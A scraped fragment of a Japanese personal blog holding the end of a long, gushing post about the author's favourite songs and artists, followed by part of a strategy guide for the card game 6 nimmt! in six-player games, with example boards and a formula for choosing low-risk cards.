完璧すぎる\nそして実はここらへん以降の[Alexandros]をよく知らなくて、理由は名前が[Champagne]から[Alexandros]に変わったことに数年間気付いてなかったからです 私の馬鹿\u0026hellip;\u0026hellip;！！\n今気付いたんだけど閃光って[Alexandros]じゃん！！！！！！！！！ 好き\nTOKYO No.1 SOUL SET 好き とても BEST SETを擦り切れるほど再生した\nJIVE MY REVOLVERとかロマンティック伝説とかJr.とかSTARDUSTとか好き\nTRIPLE BARRELのジャケット絵が本当におしゃれで、私はこのジャケットを見る度にかっこよすぎてどきどきしています\nあとは確か私がはまり始めた時期にTOKYO No.1 SOUL SET + HALCALI名義で今夜はブギー・バックのリミックスを出していて\nそれがおそ松くんを使った日産キューブのCMで使われていて、テレビで死ぬほど流れていたので一生聴いてた思い出\nこのバージョンとても好き アップテンポで良い ジャケットのおそ松くんの絵柄の雰囲気も合わさりポップな感じがする\n今夜はブギー・バックといえば、去年に水星と組み合わさった曲がほろよいのCMで使われていたらしいですね やっぱり良いメロディって色褪せない\nCMで使われていたことを今知ったけど曲は元々知っていて、好き 綺麗に組み合わさってる まるで最初から2つで1つだったかのよう\nあとTOKYO No.1 SOUL SETといえばMORE BIG PARTY これは外せない\nこの曲渋くてめっっっっっちゃ良いんですよ 本当に良い 開始直後からの怪しげな激渋メロディが最高\nそして何より歌詞が最高 「あの小説の中で集まろう」って本当にかっこいい 死ぬまでに1回は言いたい\n「あの小説の中で集まろう」のフレーズを使った曲って他にもいくつかあって\nGET UP AND DANCEとか、最近だと進撃の巨人のエンディング曲でもある衝撃で使われてましたね 良い 使いたくなるよね これは使いたくなるよ\nMORE BIG PARTYとGET UP AND DANCEはどっちが元ネタか調べても分からなかったんだけど多分MORE BIG PARTYだったはず 違ったら本当にごめん\nスチャダラパーのGET UP AND DANCEの話を少しだけしたいんですけど、これ本当に良い 特に当時ポンキッキーズを観ていた子供にとっては魂に刻まれている\nスチャダラ版の元ネタとしてFREEDOM版があるのは知ってたんですが、今調べたらちょっと待って\n小林さんちのメイドラゴンSのOP曲がこれをオマージュしているって何 なんだこのあまりにも楽しげなオマージュは あとで100回聴きます すごすぎる\nEGO-WRAPPIN' 好き 力強い 良いよね\nくちばしにチェリーとかサイコアナルシスとかかつて..。とか色彩のブルースとかCalling MeとかBig Noise From Winnetka〜黒アリのマーチングバンドとかParanoiaとか好き\nこの頃色々なジャンルの音楽をつまみ食いしていたのもあり、EGO-WRAPPIN\u0026rsquo;がどういうジャンルに属するのかが分からない ジャズですかね？\nとにかくかっこいい 自由な音楽という感じがする\n同時期にUAもめちゃくちゃ聴いていたので私はどうしてもセットで語りがちなんですけど、多分違うジャンル UAも不思議な立ち位置ですよね どこにも属さない\n三月のパンタシア かわいーーーーーーーーーーーーーーよね！！！！！！！！！！ 曲が本当に可愛い 甘酸っぱい\n三月がずっと続けばいいとか青春なんていらないわとか、青春がテーマの曲大好き\nゴールデンレイみたいな曲も本当に良い かわいい 語彙がかわいいしかなくなりました\nあとコラージュ 良い 心の中の汚してはいけない大切な部分の曲\nこれには衛宮さんちの今日のごはんについての思い出も含まれています\n人間って人生の中で忘れてはいけない感情や感性みたいなものがあって、そういうのって社会をしたりしているとつい忘れがちになっちゃうんですけど\n三月のパンタシアの曲はそんな時にそっと袖を引っぱって大切なものがそこにあることを教えてくれる そういう存在です 私のポエムのご清聴ありがとうございます\nThe Beatles 急にドがつく定番が来て私は驚いています こんなド定番を最後の方に置いてもらっては困る\n赤いアルバムと青いアルバムを聴いてました 多分赤のほうをよく聴いていた\nビートルズの曲ってたとえ初めて聴いたとしても、なぜか心の中にビートルズ専用の席が既に\u0026quot;ある\u0026quot;んですよね\n今とんでもなく分かりにくいポエムを言った気がしますが、要はビートルズの曲自体が有名すぎて何かしらの媒体で無意識に聴いており\nかつビートルズが偉大すぎて似たような後追いバンドや後追い曲がおそらく多く、\nそういった理由でなぜかずっと前から知っているような不思議な気分になる そんな気がしています\nそういうわけで私はビートルズの曲の中で特別これ！！！！みたいな曲って実は無くて\n時々ふと思い返してアルバムを通しで聴き、心の中にしっかりと席があることを確認する\nそんな不思議な存在です ビートルズ\n稲葉曇 好き！！！！！！！！！！！！！！！！！！！！生まれてきてくれてありがとう！！！！！！！！！！！！\nまずラグトレインの話をします ラグトレインすごく良い 一番好き MV含めて本当に良い\nあまりにも有名すぎて色々なMADが作られました 私はLagtrain but its Congruent Anglesが好き\nラグトレインに限らず稲葉曇全般そうなんですけど、心地よい明るくなさがある ごりごりに暗くはないんだけど淡々と明るくない これは本当に褒めています\n無理に元気になる必要がない日ってあるじゃないですか 私はあるんですけど そういう時に稲葉曇は寄り添ってくれる\n曇模様の空が一番似合う そんな曲が多い\nラグトレイン以外だとフレートプレイとかレイニーブーツとかひみつの小学生とかカゼマチグサとかロストアンブレラとか好き\nあとアルバムのアンチサイクロンでパスカルビーツからクーラーガールに移る瞬間が好き あれ本当に綺麗に繋がってる\nライブで1曲終わってギターが一瞬止まり、そのまま間髪入れずにすぐ次の曲に入って会場ガン沸きみたいな その感覚を毎回味わえる\n浮遊月光街も良い とても好き ノンユースも良い\n倉木麻衣 ザ・世代！！！！！！！！！！！！ というかずっと名探偵コナンにはまっているからです 今もはまっています\n当時はコ蘭新蘭大正義で視聴していたのに、今は\u0026hellip;\u0026hellip;\nコナン関係だとSecret of my heartとかalwaysとか風のらららとか、初期は落ち着いている曲が多い印象なんですけど\nGrowing of my heartとかReviveとかの激しめの曲がめっっっっちゃ良くて、本当に良い\nちょっと倉木麻衣から逸れるんですが、コナンの激しめOPだとNaifuのMysteriousが本当に一番好き あれ最高にかっこいい\n倉木麻衣に戻ります\nコナン関係以外だとFeel Fine!とかStand Upとかが好き Reach for the skyとかもしっとりしているけど芯はしっかり力強くてとても良い\nkey to my heartはテイルズ作品のテーマソングになってましたね これも曲調が派手なわけではないのに芯がしっかりしていて良く、倉木麻衣の魅力はそこにあるんだと思います\nいきものがかり これも世代\u0026hellip;\u0026hellip;ですね\u0026hellip;\u0026hellip;！！！！！ ある時期にいきものがかりめっちゃ流行ってませんでした？一時期聴かない日はないくらいだった気がする\n好きなのはやっぱり定番中の定番で、ブルーバードとかHANABIとかじょいふるとかホタルノヒカリとか気まぐれロマンティックとか\nよく考えたら、世代ですねと言ったわりに当時アルバム4つをがっつり聴き込んでいました\nあとは流星ミラクルとか秋桜とか 秋桜は本当に好きで、これはいきものがかりの曲の中でもメジャーとは言えないと思っているんですが私は一番好き\nあとおやすみ これはTRPGのとある卓で流す曲の1つに選定していたのでめちゃくちゃ思い入れがあり、繰り返しずっと聴いている\nナナヲアカリ ナナヲアカリ！！！！！！！！！かわいい！！！！！ダメ天使！！！！！！！！！！！！\nワンルームシュガーライフ経由で一発でどはまりしました 正確にはハッピーシュガーライフのOP経由\nハッピーシュガーライフ、もちろん好きなんだけど他人から好きそうと言われたら「それってどういう意味で言ってます？」と問い詰めたくなるセンシティブな作品 いや確かに好きなんですけど\n今ちょっと頭の中の架空のアンチとレスバしてました 私はメンヘラではない\nファーストアルバムの中ではハノが特別に好き\nファーストアルバムの曲ってアッパー入った曲が多いんですけど、ハノはダウナー入りかけを感じる\nアッパー状態でぐちゃぐちゃにした部屋を見て一瞬ふっと素に戻りそうになり、でもなんとか落ちないようにしがみついているみたいな そんな良さ そういう状態が一番危ないんですよね\n完全放棄宣言とかチューリングラブとかも好き 完全放棄宣言の歌い方めーーーーーーーーちゃかわいい 本当にかわいい\n井上陽水 先にモグモグフヨードって人の話とちょっとした隙自語をしていいですか？ありがとうございます 手短に終わらせます\n昔モグモグフヨードという東方プロジェクトの手描き動画を作っていた人がいて コミュニケーション・ブレイクダンスが有名なんですが\nこの人が動画のBGMとしてユニコーンとか奥田民生とか、当時の私にとっては名前は聞いたことはあるけど曲はあんまり聴いたことがないものを選定することがあり\n「このくらいの年代の曲って結構良いのかも！」と気がついて一時期アルバムを漁っていた時に出会ったのが井上陽水です 奥田民生と井上陽水、ちょっと年代離れてないかな 気のせいかな\n井上陽水とても良くて、ものすごく特徴がある 聴いていて楽しい\n声に力があり、歌われている歌詞の情景をはっきりと想像できる 氷の世界とかめちゃくちゃ好き\n人生が二度あればは特に本当に凄い こういう情景を歌っているんだろうなとか、父と母の雰囲気、そして家の中の空気はこんな感じなんだろうなと想像できる 名曲\n傘がないはお気に入り曲で、傘を忘れた日は雨宿りしながら必ずこの曲を聴いていた 雨宿りが楽しみになる曲\n曲を聴きながらぼーっと雨雲を見るのが好き\n同じ雨繋がりの曲なんですけど、夕立は雰囲気がまた全然違ってこっちも大好き この激しさがまさに夕立\nあとはなんといっても夢の中へ 定番曲です\nおわりに おわりにというアーティストではなく、この記事はこれで終わりです。\n明日は404さんの神社を1クリックで2個創建して運気を爆上げするアプリです。\n","permalink":"https://unigiri.gitlab.io/posts/my-favorite-songs/","summary":"\u003cp\u003eこれは \u003ca href=\"https://adventar.org/calendars/8983\"\u003e卓ゲ箪笥 Advent Calendar 2023\u003c/a\u003e 5日目の記事です。\u003cbr\u003e\n4日目はもぐくん☆さんの\u003ca href=\"http://moumoon.jp/PCS/m%e3%83%aa%e3%83%bc%e3%82%b0%ef%bc%88%e9%ba%bb%e9%9b%80%ef%bc%89%e3%81%ab%e3%81%a4%e3%81%84%e3%81%a6%e3%81%ae%e8%80%83%e5%af%9f/\"\u003eMリーグ（麻雀）についての考察\u003c/a\u003eでした。\u003c/p\u003e\n\u003ch2 id=\"はじめに\"\u003eはじめに\u003c/h2\u003e\n\u003cp\u003e今年もアドベントカレンダーの季節がやってきましたね！\u003cbr\u003e\nうにぎりと申します。\u003c/p\u003e\n\u003cp\u003e今年の9月26日に \u003ca href=\"https://tablegame.mstdn.cloud\"\u003e箪笥\u003c/a\u003e で私が以下のような画像を投稿しました。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tablegame.mstdn.cloud/@unigiri/111127497256650263\"\u003ehttps://tablegame.mstdn.cloud/@unigiri/111127497256650263\u003c/a\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eこれは寝られないのでなんとなく作った好きな音楽アルバムのコラージュ42枚です\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cfigure\u003e\n    \u003cimg loading=\"lazy\" src=\"./images/albums-collage.png\" width=\"700\"/\u003e \u003cfigcaption\u003e\n            アルバムのコラージュ画像\n        \u003c/figcaption\u003e\n\u003c/figure\u003e\n\n\u003cp\u003e好きなものを語るのに、誰がコラージュ画像だけで満足するでしょうか。\u003cbr\u003e\nというわけで、これは私の好きな曲について満足するまで語る記事です。\u003cbr\u003e\nコラージュ画像で挙げたアーティストについて、特定のアルバムに限らず語ります。\u003c/p\u003e\n\u003ch2 id=\"注意事項\"\u003e注意事項\u003c/h2\u003e\n\u003ch3 id=\"この記事は長いです\"\u003eこの記事は長いです\u003c/h3\u003e\n\u003cp\u003e好きなものについて語る文章は勢いが大事だと考えているので、あえて推敲しません。\u003cbr\u003e\nそのため、この記事はとても長くなる可能性が高いです。\u003c/p\u003e\n\u003cp\u003eこの文章を書いている時点では全体の文章量がどの程度になるかは未定ですが、参考までに去年の記事 \u003ca href=\"/notes/6nimmt-tips/\"\u003eニムト(6人プレイ版)で勝ちやすくなるコツ\u003c/a\u003e はきちんと推敲して不要な文を削りました。\u003c/p\u003e\n\u003cp\u003e追記: 28,000字くらいになりました。\u003c/p\u003e\n\u003ch3 id=\"この記事は読みにくいです\"\u003eこの記事は読みにくいです\u003c/h3\u003e\n\u003cp\u003e句読点や改行に全く気を使わず書いているため、この記事は読みにくいです。\u003cbr\u003e\n適宜読み飛ばしたりしてお楽しみください。\u003c/p\u003e\n\u003ch3 id=\"これは曲をおすすめしたり解説したりする記事ではなく私が好きなように語るだけの記事です\"\u003eこれは曲をおすすめしたり解説したりする記事ではなく、私が好きなように語るだけの記事です\u003c/h3\u003e\n\u003cp\u003eつまり、そのアーティストや曲を知らない人のための基本的な説明を必ずしも行うわけではないということです。\u003cbr\u003e\nアーティストのジャンルや来歴等の基本的な情報は、各アーティストの公式ページをご参照ください。\u003c/p\u003e\n\u003cp\u003eまた、隙あらば自分語り(以下、隙自語)はなるべく控えるよう心がけていますが、好きなように語る都合上多少は混入しています。\u003cbr\u003e\n目に余る場合、適宜読み飛ばしてください。\u003c/p\u003e\n\u003ch3 id=\"この記事には特定の宗教や思想等について何らかの主張をする意図はありません\"\u003eこの記事には特定の宗教や思想等について何らかの主張をする意図はありません\u003c/h3\u003e\n\u003cp\u003eこの記事内のいくつかの曲は特定の宗教あるいは思想について言及しますが、その曲を通じて私が何らかの主張を行う意図はありません。\u003cbr\u003e\nなぜこの注意事項が必要かというと、記事内で Monty Python について言及するためです。\u003c/p\u003e\n\u003ch3 id=\"記事内のリンクについて\"\u003e記事内のリンクについて\u003c/h3\u003e\n\u003cp\u003e記事内で言及する曲がYouTubeの公式動画として公開されている場合、その動画へリンクを貼ります。\u003cbr\u003e\nよろしければ、ぜひ聴いてみてください。\u003c/p\u003e\n\u003ch2 id=\"tldr-曲だけ聴きたい人へ\"\u003eTL;DR (曲だけ聴きたい人へ)\u003c/h2\u003e\n\u003cp\u003e記事内の公式動画をまとめた、YouTubeのプレイリストを作成しました。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://www.youtube.com/playlist?list=PLzmsa-PnB9sEZhjHIA0zCYcp76vEg7KLk\"\u003ehttps://www.youtube.com/playlist?list=PLzmsa-PnB9sEZhjHIA0zCYcp76vEg7KLk\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eまた、前述のコラージュ画像の42枚のアルバムのうち、ストリーミング配信されているものをまとめたSpotifyプレイリストも作成しました。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://open.spotify.com/playlist/3NUVVOo17GAGjcdY8mY4sw?si=0717eaf5b2674c6c\"\u003ehttps://open.spotify.com/playlist/3NUVVOo17GAGjcdY8mY4sw?si=0717eaf5b2674c6c\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"ここから本編です\"\u003eここから本編です\u003c/h2\u003e\n\u003cp\u003eここから先は「めっちゃ好き！！！！！」「良い！！！！！！！！！！」「生まれてきてくれてありがとう！！！！！！！！」くらいしか言いません\u003c/p\u003e\n\u003ch2 id=\"マキシマム-ザ-ホルモン\"\u003eマキシマム ザ ホルモン\u003c/h2\u003e\n\u003cp\u003e初っ端から曲のリンクを貼れない！！！！なぜならホルモンは基本的にYouTubeや曲のストリーミング配信をしていなからです\u003c/p\u003e\n\u003cp\u003eホルモンめっちゃ良くて、良い もう語彙力が無くなっちゃった\u003cbr\u003e\n歌詞は聞き取れないけど歌詞を聞き取る必要がある曲ではないので問題はないです\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://www.youtube.com/watch?v=HEwAiwttN10\"\u003eチェンソーマンのED曲\u003c/a\u003eめーーーーーーっちゃ良かったですね、あの作品の世界観に本当に合ってた\u003cbr\u003e\n私ドラムのナヲさんがめちゃくちゃ好きなんですけど、歌声 本当に かわいい\u003cbr\u003e\n\u003ca href=\"https://www.youtube.com/watch?v=Fh7GaJ-HVZg\"\u003e爪爪爪\u003c/a\u003eのMVのチャイナめっちゃかわいい めっちゃ似合う\u003c/p\u003e\n\u003cp\u003eホルモンの曲が入ったiPod Classicが失われて久しいので、色々思い出しながら話すしか無いんですが\u003cbr\u003e\n当時何をよく聴いてたっけ、川北猿員とかROLLING1000tOONとか\u003cbr\u003e\n今ディスコグラフィーを眺めていたらロッキンポ殺しのアルバムを特によく聴いていた\u003cbr\u003e\nこのアルバム名曲しか入ってないな このアルバムに限らずホルモンには名曲しかありませんが\u003c/p\u003e\n\u003cp\u003eここからは隙自語なんですが、コラージュの最初になぜホルモンを持ってきたかというと音楽を積極的に聴き始めたきっかけだったからです\u003cbr\u003e\nそれまでは観ているアニメの主題歌とか流行ってそうなやつとかを聴いてたんですが\u003cbr\u003e\n高校の文化祭でホルモンのコピーバンド(かなり出来が良かった)を聴いて「こんな音楽があるのか！！！！すご！！！！」と思ってその足でそのコピーバンドに「ファンになりました、次のライブも行きます」と言いにいったらそれが解散ライブだったらしくショックを受けながらオリジナルのホルモンのアルバムを揃えました\u003cbr\u003e\nアニメ主題歌起因以外の音楽を積極的に漁るようになったのはその時からだったと思います 多分\u003c/p\u003e","title":"好きな曲について語る記事"},{"content":"この記事は卓ゲ箪笥 Advent Calendar 2022の1日目の記事です。\nニムトというカードゲームをご存知でしょうか？\nこの記事はニムトのルールを知らないと始まらないので、ここではご存知であるという前提で話を進めます。1\n1. はじめに ニムトは人数やヴァリアントルールの採用有無により戦略が大幅に変わるゲームです。\nここではUnigiriがよく遊んでいる6人かつヴァリアントルール無し(以下、この記事のルールと呼ぶ)に絞って話を進めます。\nそのため、この記事で説明するコツの大半はこの記事のルールでしか有効に働きません。ご注意下さい。\n2. この記事でのカードと場の記載方法 ここではカードを カードの数字(そのカードを取った際の失点) 、場をテーブルで以下のように表します。\n#1 #2 #3 #4 #5 #6 1(1) 2(1) 3(1) 4(1) 5(2) 🐮 50(3) 51(1) 52(1) 🐮 70(3) 🐮 99(5) 100(2) 101(1) 104(1) 🐮 一番上の行の #n は列を左から数えた時の番号であり、分かりやすさのために書いています。\nまた #6の場所にカードが置かれた時に失点が発生するため、その事が分かりやすいように🐮を置いています。\n更に各行の一番右にある札をここでは末尾と呼びます。\n上記テーブルの太字になっている札が末尾となります。\n3. ニムトは必ず勝てるゲームか？ この記事のルールにおいてニムトは必ず勝てるゲームではありません。\n場の状態、抜かれているカードが何か、自分や相手の手札、相手の戦略等に勝敗が左右されます。\nそれでも、この盤面の時はこの札を出すと失点を回避しやすいというコツは存在します。\nBoard Game Arenaで1197回2遊ぶうちにいくつかの有効と思われるコツが見えてきたので、この記事ではそれらのコツを説明します。\n4. 大前提のコツ これだけは覚えて下さい。大前提のコツです。\nワンチャンいけると思った時は大抵いけない ワンチャンはノーチャンです。\nワンチャンの一例を挙げます。以下の行が場で末尾が最大の行であり、この時に手札の最高値である100を出すようなことです。\n手札: 4(1), 21(1), 60(3), 73(1), 82(1), 97(1), 100(3)\n#1 #2 #3 #4 #5 #6 44(5) 50(3) 52(1) 55(7) 🐮 もし誰も56以上を出さなかった場合は100が #5 に入り、手札の60~97でこの行を取る可能性が無くなり失点を防げます。\nしかし他の誰か1人のみが56以上99以下のカードを出した場合は100が #6 に入り、16点の失点という相当な痛手となります。\nそしてそういう場合に限ってその他の誰か1人が現れて失点をするものなので、無難に4か21を出したほうがよいです。\nカードゲーム全般に言えることですが、失点の可能性が高いカードを出すと5回中4回は負けます。\n5回中1回の勝ちに掛けるよりも、常に無難な手札を出して全体の勝率を上げましょう。\n5. 汎用のコツ 序盤のコツに入る前に、どの盤面でも使える汎用的なコツを1つ書きます。\n連続している札を出すべきな場合は大きな数字の方を出す 連続しているとは、出される可能性がある札の中で数字の差がちょうど1となる2枚以上の札のことです。\n明らかに連続している場合 まずは明らかに連続している例を挙げます。\n手札: 33(5), 34(1), 46(1), 51(1)\n33(5)と34(1)は明らかに連続しています。\\(33 + 1 = 34\\)であるためです。\nこの時に33を出すと、末尾が最大となる行が以下のような状態になった場合に次の手番で不利となる可能性があります。\n#1 #2 #3 #4 #5 #6 32以下の札 32以下の札 32以下の札 32以下の札 33(5) 🐮 #5 を33で塞いだため、次の手番でこの行を取ることになる可能性があります。\n33が末尾として #1 から #4 のいずれかに収まれば次の手番に安心して34を出せるため有利になりますが、そのような盤面になるかは他のプレイヤーが出す札に依存します。\nそしてそういう場合に限って33が #5 に収まるケースが多くあります。\n一方、同様の条件で34を出した場合の最悪ケースは以下のようになります。\n#1 #2 #3 #4 #5 #6 32以下の札 32以下の札 32以下の札 32以下の札 34(1) 🐮 この場合は次の手番で33を出すことにより失点を回避できます。\n33を出した時のケースを回避するため、連続している場合は大きいほうの札を出したほうが良いです。\n実質的に連続している場合 札に書かれている数字が連続していなくても、実際には連続となっている場合があります。例を挙げます。\n手札: 33(5), 36(1), 46(1), 51(1)\n#1 #2 #3 #4 #5 #6 31(1) 34(1) 35(2) 38(1) 🐮 手札の33(5)と36(1)は一見連続していませんが、場のある行を見ると34と35が既に出ています。\nこの時33と36は実質的に連続となります。この後の手番において再度34と35が出されることはないためです。\nこの時に33を出すと、末尾が最大である他の行が以下のような状態になった場合に次の手番で不利となる可能性があります。\n#1 #2 #3 #4 #5 #6 31(1) 34(1) 35(2) 38(1) 🐮 32以下の札 32以下の札 32以下の札 32以下の札 33(5) 🐮 34と35は既に場に出されているため、このケースでは末尾が33(5)の行を取る可能性が最も高いのは36の札になります。\n上記のようなケースを回避するため、この場合も連続した大きい方の札である36を出したほうが良いです。\n以上が汎用的なコツになります。\nこれを踏まえた上で各コツをゲームの序盤、中盤、終盤に分けて説明します。\n6. ゲーム序盤のコツ まず、何はともあれ手札のうち一番大きな数字の札をとりあえず出し\u0026hellip;てはいけません。\nまず前提として、ニムトでは数字が大きい札を手札に多く抱えていると後々不利になります。3\nなぜならゲームが進むにつれ、以下のように手札の一番小さい数字を出さなければ失点となる盤面がしばしば発生するからです。\n#1 #2 #3 #4 #5 #6 9(1) 🐮 41(1) 43(1) 50(3) 54(1) 55(7) 🐮 64(1) 66(5) 67(1) 71(1) 75(2) 🐮 21(1) 25(2) 27(1) 30(3) 31(1) 🐮 このような盤面ではほぼ確実に11が10未満の札により取られて #2 に2番目に小さい札、 #3 に3番目に小さい札\u0026hellip;の順番に置かれ、最終的に31未満のうち最も大きな数字を出したプレイヤーが一番上の行の札を取ることになります。\nなぜそのようになるかは中盤に詳しく説明します。\nこの前提を考えると、序盤で手札にある大きな数字の札を速やかに処分したいという気持ちになります。\nしかし注意したいのは周りの他のプレイヤー達もそう考えている可能性が高いということです。\nここで例として、ゲーム開始時点の場と手札を挙げます。\n手札: 2(1), 10(3), 17(1), 39(1), 44(5), 59(1), 71(1), 85(2), 96(1), 101(1)\n#1 #2 #3 #4 #5 #6 11(5) 🐮 41(1) 🐮 65(2) 🐮 22(5) 🐮 仮に手札の最大値である101を出したとして、起こり得るケースは主に3つ考えられます。\nプレイヤー全員が66以上の数字を出す\nこの場合は上から3行目に全てのカードが集まることになり、2番目に大きな数字を出したプレイヤーが失点します。\n運良く101が2番目に大きな数字にならなければセーフですが、これはワンチャンの対象内なので5回中4回は失点します。\nプレイヤー1人のみが64以下の数字を出し、残りのプレイヤーは66以上の数字を出す\nよくあるケースです。\nこの場合は最も大きな数字を出したプレイヤーが失点し、101は十分大きな数字なので失点の可能性が高いです。\n2人より多いプレイヤーが64以下の数字を出し、残りのプレイヤーは66以上の数字を出す\n失点回避です。\nしかし他のプレイヤーも大きな数字の札を処分したいと考えているため、このケースはめったに発生しません。\n発生しやすいのは1か2のケースであり、どちらの場合でも101は失点の可能性が高い札となります。\nそのためここでは96や101のような大きな数字の札を出すべきではありません。\nでは何を出せば良いかというと、ここで序盤のコツ1です。\n序盤のコツ1: 場の末尾が最大の行が安全な行であれば安全な札を出す 安全な行、安全な札とは何か 安全な札とは、一言で言えば失点の可能性が低い札です。\nまた安全な札が存在する行を安全な行と呼びます。4\n例として以下の行について安全かどうかを考えます。\n簡単のため、他の行や今までに出された札の数字はこのセクション内では考慮しないものとします。\n手札: 2(1), 10(3), 17(1), 39(1), 44(5), 59(1), 71(1), 85(2), 96(1), 101(1)\n#1 #2 #3 #4 #5 #6 11(5) 14(1) 20(3) 🐮 この行は安全ではありません。\nまずこの行の最後尾である数字を\\(N(=20)\\)、この行に既に置かれているカードの枚数を\\(M(=3)\\)とします。\n$$ N = 20 $$ $$ M = 3 $$\nこの時以下の条件を満たす\\(O\\)が手札にある時にその行を安全な行、札\\(O\\)を安全な札と呼びます。\n$$ N + 1 \\le O \\le N + (5 - M) + max(0, 3 - M) \\times 2 $$\n\\(max(0, 3 - M)\\)は\\(0\\)と\\(3 - M\\)のうち大きい方の値を選択するという意味です。\n\\(N\\)と\\(M\\)を今回の例に当てはめると以下のようになります。\n$$ 21 \\le O \\le 22 $$\n手札に21以上22以下の札は存在しないため、この行は安全ではありません。\n別の例を挙げます。\n手札は1つ前の例と同じとなっています。\n手札: 2(1), 10(3), 17(1), 39(1), 44(5), 59(1), 71(1), 85(2), 96(1), 101(1)\n#1 #2 #3 #4 #5 #6 65(2) 🐮 この行は以下の条件を満たす安全な札\\(O = 71\\)が手札に存在するので安全です。\n$$ N = 65 $$ $$ M = 1 $$ $$ N + 1 \\le O \\le N + (5 - M) + max(0, 3 - M) \\times 2 $$ $$ 66 \\le O \\le 73 $$\n以上が安全な行と安全な札の、序盤における基本的な算出方法です。\n実際には既に出された札や盤面の状況により安全かどうかは変動しますが、出す札が1枚目や2枚目といった最序盤ではそれらを考えなければいけないケースはそう多くはありません。\n小難しい式を書きましたが、大切なのは失点の可能性が低い札が安全な札であるということです。\nこれを踏まえて序盤のコツ1を説明します。\n場の末尾が最大の行が安全な行であれば安全な札を出す 6. ゲーム序盤のコツ で挙げたゲーム開始時点の例を再掲します。\n手札: 2(1), 10(3), 17(1), 39(1), 44(5), 59(1), 71(1), 85(2), 96(1), 101(1)\n#1 #2 #3 #4 #5 #6 11(5) 🐮 41(1) 🐮 65(2) 🐮 22(5) 🐮 この4つの行の中では、上から3番目の行が末尾の数字が一番大きいものになります。\nこの行は安全であり、安全な札は71です。そのため序盤のコツ1に従い71が出すべき札となります。\nでは、このような安全な行が無い場合はどうすればいいでしょうか。\nそのような場合のために、他の例を挙げながら序盤のコツ2と3を説明します。\n序盤のコツ2: 場の最大の末尾の数字Aよりも小さく、かつその中で最大値の札を出す (序盤のコツ1を適用できない、かつAより大きな数字の札が多く出される可能性が高い場合) このようなケースは出す札が1枚目や2枚目といった最序盤でしばしば発生します。\n例としてそのような場合の場と手札を挙げます。\n手札: 2(1), 10(3), 17(1), 39(1), 44(5), 59(1), 71(1), 85(2), 96(1), 101(1)\n#1 #2 #3 #4 #5 #6 18(1) 🐮 88(5) 🐮 75(2) 🐮 47(1) 🐮 この場合、場の末尾が最大である88(5)の行が安全ではないため序盤のコツ1は使えません。\nそして手札が10枚あるためこれから1枚目の札を出すということであり、これは89以上の札が相手プレイヤーの手札に十分存在する可能性が高いということを意味します。\nここで 6. ゲーム序盤のコツ にある起こり得るケースの2番目を思い出します。\nプレイヤー1人のみが64以下の数字を出し、残りのプレイヤーは66以上の数字を出す\nよくあるケースです。\nこの場合は最も大きな数字を出したプレイヤーが失点し、101は十分大きな数字なので失点の可能性が高いです。\nここではあなたがそのプレイヤー1人のみになります。\nまず仮に全てのプレイヤーが可能な限り数字が大きい札を出そうとした場合、出される札はほとんどが89以上となります。\nそして実際に多くはそのような場合となります。\n逆に言えば、87以下の全ての数字の札は失点の可能性が低い札となります。\nつまり各行の末尾 18(1), 88(5), 75(2), 48(1) のうち最大値である 88(5) よりも小さい値である1以上87以下は失点の可能性が低いです。\nそのためこのようなケースでは、手札にある1以上87以下のうち最大値である85(2)が出すべき札となります。\n序盤のコツ3: 場の末尾が最大の行を無いものとみなし、次に末尾の数字が大きい行が安全であれば安全な札を出す (序盤のコツ1と2を適用できない場合) こちらも例としてそのような場合の場と手札を挙げます。\n手札: 2(1), 10(3), 17(1), 39(1), 44(5), 59(1), 71(1), 85(2), 96(1)\n#1 #2 #3 #4 #5 #6 95(2) 101(1) 102(1) 🐮 80(3) 82(1) 🐮 64(1) 66(5) 67(1) 🐮 47(1) 49(1) 🐮 これに序盤のコツ2を当てはめると、出すべき札は96(1)となります。\n場の末尾が最大の行の末尾の数字は102であり、手札にある1以上101以下のうち最大値は96となるためです。\nしかしニムトの世界において、102より大きな数字は103と104しか存在しません。\nまたこの記事のルールでは103や104が抜かれている可能性が十分にあります。\nこのような盤面において他のプレイヤーが可能な限り高い数字のカードを処分しようとする場合、96(1)を出すと失点する可能性があります。\n現在は2枚目の札を出す手番であり、83以上94以下の札を持っている他のプレイヤーが十分に存在する可能性が高いためです。\n具体的な盤面を挙げると、96(1)を出した後に以下のような盤面となった場合に失点します。\n#1 #2 #3 #4 #5 #6 95(2) 101(1) 102(1) 104(1) 🐮 80(3) 82(1) 83(1) 88(5) 91(1) 96(1) 64(1) 66(5) 67(1) 79(1) 🐮 47(1) 49(1) 🐮 では、失点を防ぐにはどの札を出せば良いでしょうか。\n幸運にも手札に85(2)の札があり、これは82(1)の行に対して安全です。\n96の代わりに85の札を出した場合、以下のような盤面になり失点を防ぐことができます。\n#1 #2 #3 #4 #5 #6 95(2) 101(1) 102(1) 104(1) 🐮 80(3) 82(1) 83(1) 85(2) 88(5) 91(1) 64(1) 66(5) 67(1) 79(1) 🐮 47(1) 49(1) 🐮 そのため、このような安全な札がある場合はそれを出して失点を防ぎます。\n一般化した言い方に変えると、場の末尾が最大の行を無いものとみなして次に末尾の数字が大きい行の安全な札を出すという表現になります。\nそのような安全な札が無い場合は、場の末尾が最大の行を無いものとみなした上で序盤のコツ2を再適用して下さい。\n上記の例に当てはめると、手札にある1以上81以下のうち最大値である71(1)が出すべき札となります。\n以上、序盤はこれらの3つのコツを使って可能な限り大きな数字の札を捨てながらゲームを進めます。\nこれら3つのコツを全て適用できないケースがあるかもしれません。その場合は失点を防ぐような最大限安全な札を出して下さい。\n繰り返しになりますが安全な札を出せば失点を防ぐことができ、ニムトにおいて失点を防ぐのは重要なことです。\n7. ゲーム中盤のコツ 中盤とは、全てのプレイヤーにとって安全な行が無くなるような盤面が多くなってきた時のことです。\n以下、全てのプレイヤーにとって安全な行が無いようないくつかの例を挙げます。\n全てのプレイヤーにとって安全な行が無い例1 手札: 17(1), 39(1), 44(5), 59(1), 71(1), 84(1)\n#1 #2 #3 #4 #5 #6 61(1) 62(1) 66(5) 67(1) 68(1) 🐮 41(1) 43(1) 50(3) 54(1) 55(7) 🐮 82(1) 🐮 21(1) 25(2) 